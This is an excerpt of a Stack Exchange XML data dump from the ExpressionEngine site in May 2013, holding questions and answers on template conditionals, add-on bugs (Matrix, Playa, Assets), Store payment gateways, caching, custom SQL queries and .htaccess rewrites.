  <row Id="10462" PostTypeId="2" ParentId="10455" CreationDate="2013-05-16T17:51:44.023" Score="2" Body="&lt;p&gt;Make sure that you have a /system/expressionengine/cache/assets folder and that it is writable. Assets stores all the indexed thumbnails there.&#xA;Also make sure that your system path settings match the url you are accessing the CP with.&#xA;i. e. with or without the &quot;www&quot;&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-16T17:51:44.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10463" PostTypeId="2" ParentId="10438" CreationDate="2013-05-16T18:21:03.460" Score="0" Body="&lt;p&gt;It seems that channel_model couldn't be loaded. You should have following line of code above line of error or above line number 105.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('channel_model');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-16T18:21:03.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10464" PostTypeId="1" CreationDate="2013-05-16T19:20:43.650" Score="1" ViewCount="195" Body="&lt;p&gt;What does one do if a payment plugin hasn't been developed yet for Beanstream.&#xA;Does Exp-resso add updates to the payment gateways they support?&lt;/p&gt;&#xA;" OwnerUserId="1511" LastEditorUserId="422" LastEditDate="2013-05-17T07:12:28.253" LastActivityDate="2013-05-18T10:00:18.600" Title="Expresso-Store: New Payment Plugins - Where do we find them?" Tags="|expresso-store|payment-gateway|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10465" PostTypeId="2" ParentId="10105" CreationDate="2013-05-16T19:56:42.350" Score="0" Body="&lt;p&gt;Ok, I finally found what was causing this.  3 things that needed to be changed&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;2 conflicting jQuery libraries were loaded on the same page.  For the form to behave normal I needed to keep the one included in safecracker using the include_jquery=&quot;yes&quot; parameter and the other one was removed from the page&lt;/li&gt;&#xA;&lt;li&gt;For some other functionalities on the site we load foundation.min.js - I needed to leave this out the form pages&lt;/li&gt;&#xA;&lt;li&gt;And for cosmetic faults I needed to load  at the top of the page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that might help someone someday!&#xA;T.&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-16T19:56:42.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10466" PostTypeId="1" AcceptedAnswerId="10540" CreationDate="2013-05-16T20:04:57.303" Score="0" ViewCount="200" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDITED FOR MORE CLARITY&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a really stupid problem I'm trying to fix... This is (a part of) template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;tabs contained&quot;&amp;gt;&#xA;    {if &quot;{products_related_products:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained1&quot;&amp;gt;&amp;lt;!-- Gerelateerde producten --&amp;gt;{bbr-mls-54}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if &quot;{products_related_lexicon:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;hide-for-small&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#simpleContained2&quot;&amp;gt;&amp;lt;!-- Gerelateerde lexicon --&amp;gt;{bbr-mls-57}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if products_additional_remarks_{language_code}}&#xA;        &amp;lt;dd class=&quot;hide-for-small&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained3&quot;&amp;gt;&amp;lt;!-- Bijkomende opmerkingen --&amp;gt;{bbr-mls-53}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if products_videos_{language_code}}&#xA;        &amp;lt;dd class=&quot;hide-for-small&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained4&quot;&amp;gt;&amp;lt;!-- Video --&amp;gt;Video&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if {exp:playa:total_parents channel=&quot;downloads&quot;}!=&quot;0&quot;}&#xA;        &amp;lt;dd class=&quot;hide-for-small&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained5&quot;&amp;gt;&amp;lt;!-- Downloads --&amp;gt;Downloads&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {/if}&#xA;&amp;lt;/dl&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is shown below a product detail page to show other related content like downloads and videos and so on... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I'm using a If Then statement to determine if there are any related records for this product and if there are a tab is shown, if nothing is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm trying to solve is the set the right tab to class=&quot;active&quot;.  In the current example this is the case for the first tab in hardcoded way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other programming language I would include a variable to every if/then routine and it is executed (because there is content) I would set a variable e.g. ThereIsAnActiveTab to 1&#xA;After that I would put a conditional in every &#xA;&#xA;&lt;p&gt;As an example in non-working code this would the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;dl class=&quot;tabs contained&quot;&amp;gt;&#xA;    {if &quot;{products_related_products:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;active&quot;&amp;gt;&amp;lt;a href=&quot;#simpleContained1&quot;&amp;gt;&amp;lt;!-- Gerelateerde producten --&amp;gt;{bbr-mls-54}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;    {variable:ThereIsAnActiveTab = &quot;1&quot;}&#xA;    {/if}&#xA;&#xA;    {if &quot;{products_related_lexicon:total_children}&quot;}&#xA;        &amp;lt;dd class=&quot;{if variable:ThereIsAnActiveTab==&quot;1&quot;}hide-for-small{if:else}active{/if}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#simpleContained2&quot;&amp;gt;&amp;lt;!-- Gerelateerde lexicon --&amp;gt;{bbr-mls-57}&amp;lt;/a&amp;gt;&amp;lt;/dd&amp;gt;&#xA;            {variable:ThereIsAnActiveTab = &quot;1&quot;}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on ... &#xA;But that does not work in EE due the way the template gets parsed.  Any ideas on how to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastEditorUserId="510" LastEditDate="2013-05-16T20:23:26.850" LastActivityDate="2013-05-20T13:34:59.017" Title="Using variables in if then" Tags="|conditionals|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10467" PostTypeId="1" CreationDate="2013-05-16T20:36:05.127" Score="0" ViewCount="154" Body="&lt;p&gt;Opps I know better than to not include this stuff!!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EE version: 2.5.0&lt;br&gt;&#xA;  Matrix version: 2.2.2.1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I was setting up a new channel and tried to access the entry page for it and got this error. Anyone know how to fix? Or what's happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the error.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&lt;br&gt;&#xA;  Severity: Notice&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Message: Undefined property: Content_publish::$tools_model&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: celltypes/file.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 120&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: Call to a member function get_upload_preferences() on a non-object in /www/&lt;strong&gt;**&lt;/strong&gt;/public_html/&lt;strong&gt;&lt;em&gt;*&lt;/em&gt;&lt;/strong&gt;/expressionengine/third_party/matrix/celltypes/file.php on line 120&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks Much!&lt;/p&gt;&#xA;" OwnerUserId="972" LastEditorUserId="972" LastEditDate="2013-05-16T22:28:00.567" LastActivityDate="2013-05-16T22:28:00.567" Title="Matrix PHP Error: Undefined property: Content_publish::$tools_model" Tags="|matrix|pixelandtonic|php-errors|fatal|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10468" PostTypeId="1" CreationDate="2013-05-16T21:40:50.130" Score="0" ViewCount="64" Body="&lt;p&gt;I'm using Assets to display pdf documents with race results from a news page. This is an MSM site, and the problem I'm having is on the secondary sites. 'results_pdf' in the following code is an Assets field. If the entry is being drawn from the main site, the link to the results_pdf works fine. If the entry is from the secondary site, the link does not work. However, if I remove 'default_site' from the parameters, and the entry is from the secondary site, the results_pdf works fine. So the link is correct, but having multiple sites listed is causing a problem. The non-Assets fields work correctly. I'm using Assets 2.1 with EE 2.5.5. Suggestions on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;br/&gt;&#xA;Susan&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries site=&quot;default_site|nwisa&quot; channel=&quot;news_and_results|news_and_results&quot; category=&quot;25|31|35|36|37|&quot; limit=&quot;1&quot;}        &#xA;&amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;   &#xA;{full_post}&#xA;&amp;lt;div class=&quot;button&quot;&amp;gt;&amp;lt;a href=&quot;{results_pdf}&quot;&amp;gt;Event Results&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1512" LastActivityDate="2013-05-16T21:40:50.130" Title="Link to Assets field doesn't work when multiple sites are listed in parameters" Tags="|assets|multi-site-manager|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="10469" PostTypeId="1" AcceptedAnswerId="10483" CreationDate="2013-05-16T22:04:04.850" Score="0" ViewCount="68" Body="&lt;p&gt;A client would like to be able to ‘build’ each detail page for their portfolio. The breakdown would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each row can have a combination of either a video block (embed), a text block or a photo block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The elements themselves can be either full width, half width or quarter width, and so a row can accomodate from one to four elements depending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can be however many rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a newcomer to expression engine, I’d love to get anyone’s thoughts on how best to execute on this using EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much for any help!&lt;/p&gt;&#xA;" OwnerUserId="1513" LastEditorUserId="69" LastEditDate="2013-05-25T10:29:02.823" LastActivityDate="2013-05-25T10:29:02.823" Title="A fieldtype with adjustable number of rows &amp; the ability to add or remove columns per row?" Tags="|matrix|fieldtype|dynamic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10470" PostTypeId="1" CreationDate="2013-05-16T23:11:14.557" Score="4" ViewCount="156" Body="&lt;p&gt;This site has been updated from 1.7.1 to 2.6.1, there are no known issues other than this one at present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the search no_results page is from the old site (design, css, imagery etc), however, the template that is in both the db and the file system (saving templates as files) is a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the simple search form params we have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;  channel = 'blog'&#xA;  status = 'open'&#xA;  search_in = 'everywhere'&#xA;  no_result_page = 'search/no-results'&#xA;  results = '100'&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The url that a no results search displays is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/search/no-results/27e28542d78e8e6c2cafef090a2007b5/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the hash (segment_3 varies for different unfound terms)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in both the db and the templates directory we have a search group,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search.group&#xA;    index.html (empty)&#xA;    no-results.html&#xA;    results.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The content of the no-results.html is the new code, both in the db and the files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 'successful' search uses the results.html template above it's just the no-results that are coming out on the 'old' template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition we have tested this&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Logged in and logged out&lt;/li&gt;&#xA;&lt;li&gt;After clearing cookies&lt;/li&gt;&#xA;&lt;li&gt;After clearing all site caches&lt;/li&gt;&#xA;&lt;li&gt;After synching templates and checking the content in the control panel, database and file system.&lt;/li&gt;&#xA;&lt;li&gt;It happens on a variety of machines (eliminating browser caching)&lt;/li&gt;&#xA;&lt;li&gt;There are no rewrite rules that match&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;We have no idea where the system is finding this template from. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2013-05-17T16:24:21.463" Title="Incorrect no_results page returned for simple search" Tags="|search|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10473" PostTypeId="2" ParentId="10464" CreationDate="2013-05-17T06:00:03.360" Score="1" Body="&lt;p&gt;You could either develop your own custom gateway integration or contact Exp:resso to get a quote for building it for you. The payment library in Store, &lt;a href=&quot;https://github.com/expressodev/ci-merchant&quot; rel=&quot;nofollow noreferrer&quot;&gt;CI-Merchant&lt;/a&gt;, is open source so you can checkout the existing gateway integrations on github. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adrian, the developer of Store, says as much in a similar question: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10278/exp-resso-store-custom-payment-gateway-sagepay-form&quot;&gt;Exp-resso Store Custom Payment Gateway / Sagepay Form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="975" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-17T06:00:03.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10475" PostTypeId="2" ParentId="10439" CreationDate="2013-05-17T06:39:05.673" Score="1" Body="&lt;p&gt;You should be able to cache both versions with CE Cache. You just need to place a variable into the CE Cache id parameter that differentiates between the mobile and regular versions of the website. I haven't tested it but the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;page-{is_mobile}&quot; seconds=&quot;3600&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the {is_mobile} global variable doesn't work you could also try with {segment_1}. According to the docs on devot:ee, it's meant to be prefixed with 'mobile__'.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because of the lack of extension hooks during the stage where Mobile works its magic, I had to hack into the segment variables array to make this work. Because of that, when using native EE routing (not with Pages or Structure), {segment_1} will also be prefixed with mobile__ in the mobile templates.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've done this on a &lt;a href=&quot;http://devot-ee.com/add-ons/structure&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; based site that used &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-triggers&quot; rel=&quot;nofollow&quot;&gt;Zoo Triggers&lt;/a&gt;. Zoo Triggers overwrites the segment variables behind the scenes which means caching doesn't work for similar reasons. The code I used in that instance looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it id=&quot;news_index-{triggers:segment_2}-{triggers:segment_3}-{triggers:segment_4}&quot; seconds=&quot;3600&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-05-17T06:39:05.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10476" PostTypeId="2" ParentId="10379" CreationDate="2013-05-17T06:44:33.187" Score="4" Body="&lt;p&gt;I fixed this issue. It was/is a bug in Playa. Pixel and Tonic now knows about it and will include a fix in the next release. In the meantime, here is my solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change Line 2484 of ft.playa.php to...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;'parent_var_id' =&amp;gt; $this-&amp;gt;var_id,&#xA;'parent_is_draft' =&amp;gt; 0&#xA;);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically added 'parent_is_draft' =&gt; 0&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2013-05-17T06:44:33.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10477" PostTypeId="2" ParentId="10429" CreationDate="2013-05-17T06:49:56.423" Score="1" Body="&lt;p&gt;Make sure you and your client are accessing admin from the correct URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;www.yoursite.com/admin.php&lt;/strong&gt; could be different from &lt;strong&gt;yoursite.com/admin.php&lt;/strong&gt; (with no www) depending on your install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LISA WESS (Pixel and Tonic) responded to a similar question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You were seeing JS cross-site security blocking, due the lack of 'www'. Your domains need to be consistent to avoid that problem - not just with P&amp;amp;T add-ons, at that. &#xA;You should ensure that your installation always uses either www, or no www. Consistency there should help you avoid running into this.&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-05-17T06:49:56.423" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10478" PostTypeId="1" AcceptedAnswerId="10496" CreationDate="2013-05-17T06:51:53.657" Score="0" ViewCount="896" Body="&lt;p&gt;I'm generating a large XML document daily which on busy days is falling over with memory issues and it's been suggested that instead of using exp:channel:entries I use exp:query tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think, GREAT, lets give it a whirl. Being an SQL n00b, has anyone any pointers on how to write a query that selects all entries in a particular date range, from a particular channel that &lt;strong&gt;contains a Carthtrob ordered_items matrix&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the structure ATM&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries disable=&quot;categories|etc&quot;&#xA;  status=&quot;closed|completed&quot;&#xA;  start_on=&quot;{stash:time}&quot; //Stashed time = today - 24 hours&#xA;  orderby=&quot;event|products&quot;&#xA;  sort=&quot;asc|desc&quot;} //query the orders channel&#xA;  {stash:first_name} //stash the content&#xA;  {stash:lastname}&#xA;  {stash:nested_list}&#xA;    {order_items} //Grab ordered variations stored in CartThrob matrix&#xA;      {stash:qty}&#xA;      {stash:color}&#xA;      {stash:price}&#xA;    {/order_items}&#xA;  {/stash:nested}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE#1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've done some homework, I now have some rudimentary data being sourced, the data is spread over several tables, *exp_channel_titles*, *exp_channel_data*, *exp_cartthrob_order_items* and the final one which is a biatch is the *exp_channel_fields*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of sanity I'd like to refer to the fields in use as their EE label not some field_id_XX&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * from exp_channel_titles AS t&#xA;    JOIN exp_channel_data AS d&#xA;    ON d.entry_id = t.entry_id&#xA;    JOIN exp_cartthrob_order_items AS ct&#xA;    ON d.entry_id = ct.order_id&#xA;    WHERE d.channel_id = 4&#xA;    AND t.status = 'completed'&#xA;    ORDER BY d.entry_id DESC&#xA;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this the right approach ? If so how can i use the default titles in the results ?&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2013-05-17T08:28:07.580" LastActivityDate="2013-05-17T17:58:41.840" Title="exp:query - how to" Tags="|stash|query|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10479" PostTypeId="2" ParentId="10214" CreationDate="2013-05-17T07:17:18.007" Score="0" Body="&lt;p&gt;Try CE Cache &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ce-cache&lt;/a&gt;. Very easy to implement. I had a matrix/playa &quot;problem&quot; and CE Cache sped up the page incredibly.&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-05-17T07:17:18.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10480" PostTypeId="2" ParentId="10424" CreationDate="2013-05-17T08:01:17.083" Score="1" Body="&lt;p&gt;The great people of solspace took a look at my systems and found the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was caused by me using the Low NoSpam add-on. It was causing an error without outputting an error message. Disabling the add-on restored functionality.&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2013-05-17T08:01:17.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10481" PostTypeId="2" ParentId="10464" CreationDate="2013-05-17T08:23:53.437" Score="1" Body="&lt;p&gt;If you're familiar with a little PHP then it's not too too difficult to create your own payment gateway to integrate with Store. &lt;a href=&quot;https://beanstreamsupport.pbworks.com/w/page/26445764/Transaction%20Processing%20API&quot; rel=&quot;nofollow&quot;&gt;Beanstream's API seems to be well documented&lt;/a&gt; so you could either give it a go yourself or pass it on to another developer to build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're having a go yourself then the best way to start is by taking a look at the existing payment gateways that come bundled with Store. They provide a good example of what you need to do and then you can edit the codebase to fall in line with the Beanstream documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a payment gateway proves popular enough then it may well be included in a future release of Store but that would go down to demand.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-17T08:23:53.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10482" PostTypeId="2" ParentId="10459" CreationDate="2013-05-17T08:55:11.380" Score="1" Body="&lt;p&gt;I don't think if there is such a tag in NavEE so that you can check that current page is from the navigation of NavEE module. But you can try SQL with query module like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT(*) AS total_navs FROM exp_navee WHERE link LIKE '%{current_path}%'&quot;}&#xA;&#xA;{if total_navs == 0}&#xA;&#xA;###### &#xA;code&#xA;######&#xA;&#xA;{/if}&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{current_path} is standard global variable (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-path&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-path&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-17T08:55:11.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10483" PostTypeId="2" ParentId="10469" CreationDate="2013-05-17T11:08:24.657" Score="2" Body="&lt;p&gt;I'd say you'd want to look closely at &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; for this purpose, depending on your exact requirements.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-17T11:08:24.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10484" PostTypeId="1" AcceptedAnswerId="10510" CreationDate="2013-05-17T11:49:39.613" Score="1" ViewCount="78" Body="&lt;p&gt;I've just been building a small commerce site using Store and Stripe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all working pretty sweetly but I need to know if there's a way I can move the member to another group once their order has been placed successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-05-18T09:52:35.647" Title="move member group after order completes" Tags="|expresso-store|checkout|orders|stripe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostTypeId="2" ParentId="10453" CreationDate="2013-05-17T12:44:52.333" Score="1" Body="&lt;p&gt;I got the answer to this via the codeigniter stackexchange. Someone suggsted using PHP_EOL as a predefined constant.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;swap_var_single&#xA;('message', '---- Original Message ---- '.PHP_EOL.' date: '. &#xA;$original_date.PHP_EOL.$original_body.' ---', $tagdata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-17T12:44:52.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10486" PostTypeId="1" CreationDate="2013-05-17T13:53:19.187" Score="1" ViewCount="315" Body="&lt;p&gt;Is there any chance anyone has ever come across urls in subsites in MSM sites using index.php in them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a .htaccess file in each subfolder for that site which tries to get rid of the index.php so when you try to access the raw url in the site it says 404 not found error. When you type index.php before the url to the page, it loads it pretty well and works fine but from the navigation elements with structure when you click the page nav it just goes to the url without the index.php and says 404 page error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is to have no index.php in the url and it to go to the right page instead of saying 404 page error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Mark&lt;/p&gt;&#xA;" OwnerUserId="1444" LastActivityDate="2013-05-23T08:31:34.797" Title="URLs in MSM subsites are still using index.php in them" Tags="|multi-site-manager|htaccess|url|404|php-errors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostTypeId="2" ParentId="10484" CreationDate="2013-05-17T13:53:41.400" Score="1" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;store_order_complete_end&lt;/a&gt; extension hook. The &lt;code&gt;$order&lt;/code&gt; array should contain the &lt;code&gt;member_id&lt;/code&gt; of the customer, which you can then use in a query to change their member group assignment.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-05-17T13:53:41.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10488" PostTypeId="1" CreationDate="2013-05-17T14:21:26.380" Score="0" ViewCount="691" Body="&lt;p&gt;I've been looking for an easy way to point search engines to the sitemap.xml file in the &lt;strong&gt;root of the website&lt;/strong&gt;. I've been using &lt;strong&gt;Google Sitemap Lite&lt;/strong&gt; in combination with Navee or Structure. And it's generating sitemap.xml output like a charm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I've put the code in a template group named &quot;sitemap&quot;. So I need to edit the &lt;strong&gt;.htaccess&lt;/strong&gt; file, so the &lt;strong&gt;/sitemap.xml&lt;/strong&gt; url points to &lt;strong&gt;/index.php?/sitemap&lt;/strong&gt;. I couldn't get it to work... &lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2013-05-17T14:21:26.380" Title="Easy sitemap.xml url" Tags="|templates|htaccess|xml|rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
